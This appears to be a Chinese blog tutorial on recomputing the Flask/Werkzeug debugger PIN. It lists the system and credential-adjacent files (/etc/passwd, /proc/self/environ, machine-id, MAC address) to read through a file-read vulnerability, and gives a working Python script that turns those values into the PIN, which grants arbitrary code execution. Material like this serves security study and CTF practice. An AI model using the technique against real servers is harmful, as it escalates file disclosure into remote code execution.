计算 Flask PIN 码
2022-08-07 06:24:00
前言
Flask 在 debug 模式下会生成一个 Debugger PIN
calico@ubuntu:~/Code/flask$ python3 app.py
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger pin code: 169-851-075
通过这个 pin 码,我们可以在报错页面执行任意 python 代码
值得注意的是:在同一台机器上,多次重启 Flask 服务,PIN 码值不改变。也就是说 PIN 码是一个固定值
生成 PIN 码
分析文件见下
- https://www.anquanke.com/post/id/197602
- https://xz.aliyun.com/t/2553
- https://www.cnblogs.com/HacTF/p/8160076.html
前置条件
只要获取了以下六个参数就可以在本地构造 PIN 码
username
启动这个 Flask 的用户modname
一般默认 flask.appgetattr(app, 'name', getattr(app.class, 'name'))
一般默认 flask.app 为 Flaskgetattr(mod, 'file', None)
为 flask 目录下的一个 app.py 的绝对路径,可在报错页面看到str(uuid.getnode())
是网卡 mac 地址的十进制表达式get_machine_id()
系统 id
当网站存在 LFI 或任意文件读取时,就可以轻松获取这六个参数
username
可以从/etc/passwd
或者/proc/self/environ
环境变量中读取str(uuid.getnode())
可以从/sys/class/net/eth0/address
或/sys/class/net/ens33/address
中读取getattr(mod, 'file', None)
从报错页中获取,注意 python3 为app.py
,python2 为app.pyc
get_machine_id()
- linux 读取这三个文
/proc/self/cgroup
、/etc/machine-id
、/proc/sys/kernel/random/boot_id
- windows 读取注册表中的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
- linux 读取这三个文
新旧差异
需要注意的是,新旧版本中 `get_machine_id()` 函数的实现不同
https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f
从修改中可以看到
- 旧版中依序读取
/proc/self/cgroup
、/etc/machine-id
、/proc/sys/kernel/random/boot_id
三个文件,只要读取到一个文件的内容,立马返回值 - 新版中是从
/etc/machine-id
、/proc/sys/kernel/random/boot_id
中读到一个值后立即 break,然后和/proc/self/cgroup
中的 id 值拼接
另外一个需要注意的是新版中中使用 SHA1 的 hash 算法,而不是旧版的 MD5 算法
脚本
import hashlib
from itertools import chain
def get_machine_id():
# https://github.com/pallets/werkzeug/blob/f0c26b5e842fde616530a5f12a0087228f29d0ae/src/werkzeug/debug/__init__.py#L47
linux = b""
# proc/sys/kernel/random/boot_id
boot_id = "f615c180-18e4-4ffa-bc03-e7cedbde8088".encode()
# /proc/self/cgroup
group = open("cgroup.txt", 'rb')
cgroup = group.readline().strip().rpartition(b"/")[2]
return linux + boot_id + cgroup
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
# '52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address
'2485377892356', # /sys/class/net/eth0/address
# '19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
get_machine_id()
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
需要注意的是,新旧版本的 werkzeug 生成 PIN 码的方式不一样
参考
https://cloud.tencent.com/developer/article/1657739